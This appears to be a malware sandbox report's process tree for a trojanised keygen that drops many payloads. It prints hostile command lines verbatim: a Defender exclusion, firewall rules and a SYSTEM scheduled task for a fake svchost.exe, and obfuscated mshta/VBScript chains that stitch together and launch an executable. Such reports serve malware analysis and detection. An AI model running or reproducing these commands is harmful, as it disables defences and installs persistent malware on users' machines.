C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\UlJkmhOTW\UlJkmhOTW.dll" UlJkmhOTW14⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\UlJkmhOTW\UlJkmhOTW.dll" UlJkmhOTW15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
- Drops file in Program Files directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
- Blocklisted process makes network request
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT14⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\EcKGwRDLYyrw5Hyg9fLaMylQ.exe"C:\Users\Admin\Pictures\Adobe Films\EcKGwRDLYyrw5Hyg9fLaMylQ.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"10⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1f4,0x1f8,0x1fc,0xd8,0x200,0x7ffbf61edec0,0x7ffbf61eded0,0x7ffbf61edee011⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x184,0x188,0x18c,0x160,0x190,0x7ff75afb9e70,0x7ff75afb9e80,0x7ff75afb9e9012⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --mojo-platform-channel-handle=1860 /prefetch:811⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1808 /prefetch:211⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --mojo-platform-channel-handle=2180 /prefetch:811⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2592 /prefetch:111⤵
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2572 /prefetch:111⤵
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --mojo-platform-channel-handle=3184 /prefetch:811⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3212 /prefetch:211⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --mojo-platform-channel-handle=3168 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --mojo-platform-channel-handle=3272 /prefetch:811⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --mojo-platform-channel-handle=3604 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1752,2852319485618738822,1645476358366328627,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8516_386258815" --mojo-platform-channel-handle=3184 /prefetch:811⤵
-
C:\Users\Admin\Pictures\Adobe Films\VYwIpr3JTDz2eUK0FHqPbKCE.exe"C:\Users\Admin\Pictures\Adobe Films\VYwIpr3JTDz2eUK0FHqPbKCE.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\4kiOu8ha8nM4V6gue8y4CQD_.exe"C:\Users\Admin\Pictures\Adobe Films\4kiOu8ha8nM4V6gue8y4CQD_.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3128 -s 6567⤵
- Drops file in Windows directory
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3128 -s 6767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3128 -s 6807⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3128 -s 6767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3128 -s 11087⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3128 -s 11767⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\qW6w8KrH0Ric3IUDddAgTwZ6.exe"C:\Users\Admin\Pictures\Adobe Films\qW6w8KrH0Ric3IUDddAgTwZ6.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵
-
C:\Users\Admin\Pictures\Adobe Films\RB3j65ZSVMD_tMEsGej4qBI4.exe"C:\Users\Admin\Pictures\Adobe Films\RB3j65ZSVMD_tMEsGej4qBI4.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\RB3j65ZSVMD_tMEsGej4qBI4.exe"C:\Users\Admin\Pictures\Adobe Films\RB3j65ZSVMD_tMEsGej4qBI4.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 10008⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\GbGlyaMfvhEQLENpqbFKj9VB.exe"C:\Users\Admin\Pictures\Adobe Films\GbGlyaMfvhEQLENpqbFKj9VB.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\zA2Wc2HLPP7IPIQQSeAXbpqs.exe"C:\Users\Admin\Pictures\Adobe Films\zA2Wc2HLPP7IPIQQSeAXbpqs.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im zA2Wc2HLPP7IPIQQSeAXbpqs.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\zA2Wc2HLPP7IPIQQSeAXbpqs.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im zA2Wc2HLPP7IPIQQSeAXbpqs.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri051e1e7444.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri051e1e7444.exeFri051e1e7444.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0541e16ce794d258f.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri0541e16ce794d258f.exeFri0541e16ce794d258f.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05890d11cdb13f95e.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05890d11cdb13f95e.exeFri05890d11cdb13f95e.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05851d7f13.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri053f5694ea31c9a.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05f84fa77402bf.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0575b7d291a755f8.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05a277b9a3d2.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05cc28ce70b.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\Comprehensive_Meta_Analysis_keygen_by_KeygenSumo.exe"C:\Users\Admin\Desktop\Comprehensive_Meta_Analysis_keygen_by_KeygenSumo.exe"1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exekeygen-step-6.exe3⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\KiffAppE2.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\KiffAppE2.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Crack.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Crack.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\DownFlSetup133.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\DownFlSetup133.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\3775220.exe"C:\Users\Admin\AppData\Roaming\3775220.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\834735.exe"C:\Users\Admin\AppData\Roaming\834735.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\3001306.exe"C:\Users\Admin\AppData\Roaming\3001306.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\4698055.exe"C:\Users\Admin\AppData\Roaming\4698055.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\5168580.exe"C:\Users\Admin\AppData\Roaming\5168580.exe"5⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\3384185.exe"C:\Users\Admin\AppData\Roaming\3384185.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md1_1eaf.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md1_1eaf.exe"4⤵
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\pub1.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\pub1.exe"4⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\iow.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\iow.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6448 -s 6645⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6448 -s 6765⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6448 -s 7805⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6448 -s 7525⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6448 -s 11365⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05cc28ce70b.exeFri05cc28ce70b.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRIPT: cLOse ( CreateoBJeCT( "WSCRipT.shell" ). Run( "CMd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05cc28ce70b.exe"" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if """" == """" for %j IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05cc28ce70b.exe"" ) do taskkill -f /im ""%~Nxj"" " , 0 , truE ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05cc28ce70b.exe" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if "" == "" for %j IN ( "C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05cc28ce70b.exe" ) do taskkill -f /im "%~Nxj"3⤵
-
C:\Users\Admin\AppData\Local\Temp\EiV4.ExeEIv4.Exe /pllbp0ygmDYA4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRIPT: cLOse ( CreateoBJeCT( "WSCRipT.shell" ). Run( "CMd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\EiV4.Exe"" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if ""/pllbp0ygmDYA "" == """" for %j IN ( ""C:\Users\Admin\AppData\Local\Temp\EiV4.Exe"" ) do taskkill -f /im ""%~Nxj"" " , 0 , truE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\EiV4.Exe" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if "/pllbp0ygmDYA " == "" for %j IN ( "C:\Users\Admin\AppData\Local\Temp\EiV4.Exe" ) do taskkill -f /im "%~Nxj"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscript: clOSe ( creAteOBJECT( "WSCrIPt.sHElL" ). rUn ( "cMD /Q /c EcHo fDuz%RanDOm%hWPV>BPZetK~.NZD & eCho | sEt /P = ""MZ"" > YAnI.V & COPy /Y /b YANI.V + L0YE_.MQ + V3DggE~.P + FAPqTQ.HJ + 51QbM.RF + BPZetK~.NZD W72F~U.S8_ & staRt msiexec /y .\W72F~U.S8_ " , 0 , tRuE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c EcHo fDuz%RanDOm%hWPV>BPZetK~.NZD & eCho | sEt /P = "MZ" > YAnI.V & COPy /Y /b YANI.V +L0YE_.MQ + V3DggE~.P + FAPqTQ.HJ +51QbM.RF + BPZetK~.NZD W72F~U.S8_ & staRt msiexec /y .\W72F~U.S8_6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCho "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>YAnI.V"7⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec /y .\W72F~U.S8_7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /im "Fri05cc28ce70b.exe"4⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05f84fa77402bf.exeFri05f84fa77402bf.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05f84fa77402bf.exeC:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05f84fa77402bf.exe2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3148 -s 243⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri0575b7d291a755f8.exeFri0575b7d291a755f8.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\2436556.exe"C:\Users\Admin\AppData\Roaming\2436556.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\5387805.exe"C:\Users\Admin\AppData\Roaming\5387805.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\8339055.exe"C:\Users\Admin\AppData\Roaming\8339055.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\4957025.exe"C:\Users\Admin\AppData\Roaming\4957025.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\4770967.exe"C:\Users\Admin\AppData\Roaming\4770967.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri053f5694ea31c9a.exeFri053f5694ea31c9a.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri053f5694ea31c9a.exeC:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri053f5694ea31c9a.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\mn.exe"C:\Users\Admin\AppData\Local\Temp\mn.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05a277b9a3d2.exeFri05a277b9a3d2.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05a277b9a3d2.exeC:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05a277b9a3d2.exe2⤵
- Executes dropped EXE
-
